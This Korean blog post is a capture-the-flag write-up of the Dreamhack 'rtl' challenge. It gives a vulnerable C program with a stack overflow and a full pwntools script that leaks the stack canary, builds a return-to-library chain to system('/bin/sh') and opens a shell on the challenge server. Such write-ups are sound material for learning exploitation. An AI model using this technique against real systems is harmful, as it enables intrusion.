반응형
문제 코드
// Name: rtl.c
// Compile: gcc -o rtl rtl.c -fno-PIE -no-pie
#include <stdio.h>
#include <unistd.h>
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Add system function to plt's entry
system("echo 'system@plt");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
- 맨 처음 system 함수가 호출돼 plt에 추가된다.
- read 함수로 buf에서 카나리 거리 +1만큼 입력을 넣어 카나리값을 출력할 수 있다.
- 또한 read 함수로 buf에 0x30보다 큰 0x100 크기의 입력을 받을 수 있기 때문에 버퍼 오버플로우 공격이 가능하다.
Canary와 NX 보호 기법을 사용하고 있다.
main 함수를 어셈블러 코드로 출력하여 canary 위치, buf 변수 위치를 확인한다.
canary는 %rbp-0x8에 위치하며, buf 변수는 %rbp-0x40 위치에 할당된다. 따라서 0x39를 임의의 byte로 채우면 printf 함수에서 카나리를 확인할 수 있다.
그리고 한 번 더 buf에 데이터를 입력할 수 있었다. 현재 소스 코드에 "/bin/sh" 문자열과 system 함수가 존재하여 RTL 공격을 할 수 있다.
따라서 ROPgadget을 사용해서 리턴 가젯을 찾는다.
from pwn import *
rop = b''
rop += p64(0x0000000000400853)
binsh = b''
binsh += p64(0x400874)
system = b''
system += p64(0x4005d0)
p = remote ('host3.dreamhack.games',9431)
#p = process('./rtl')
get_canary = b''
get_canary += b'A'*(0x38)
p.sendlineafter(b'Buf: ',get_canary)
p.recvuntil(b'\x0a')
canary = b'\x00'
canary += p.recv(7)
pay = b''
pay += b'\x90'*0x38
pay += canary
pay += b'\x90'*0x8
pay += p64(0x400596) #ret gadget for stack align
pay += rop
pay += binsh
pay += system
p.sendlineafter(b'Buf: ',pay)
p.interactive()
얻은 정보들로 익스프로잇 코드를 작성한다.
반응형
'Dreamhack > System Hacking' 카테고리의 다른 글
rop (1) | 2024.05.29 |
---|---|
Exploit Tech: Return Oriented Programming (0) | 2024.05.29 |
Exploit Tech: Return to Library (0) | 2024.05.29 |
Background: Library - Static Link vs. Dynamic Link (0) | 2024.05.22 |
Mitigation: NX & ASLR (0) | 2024.05.22 |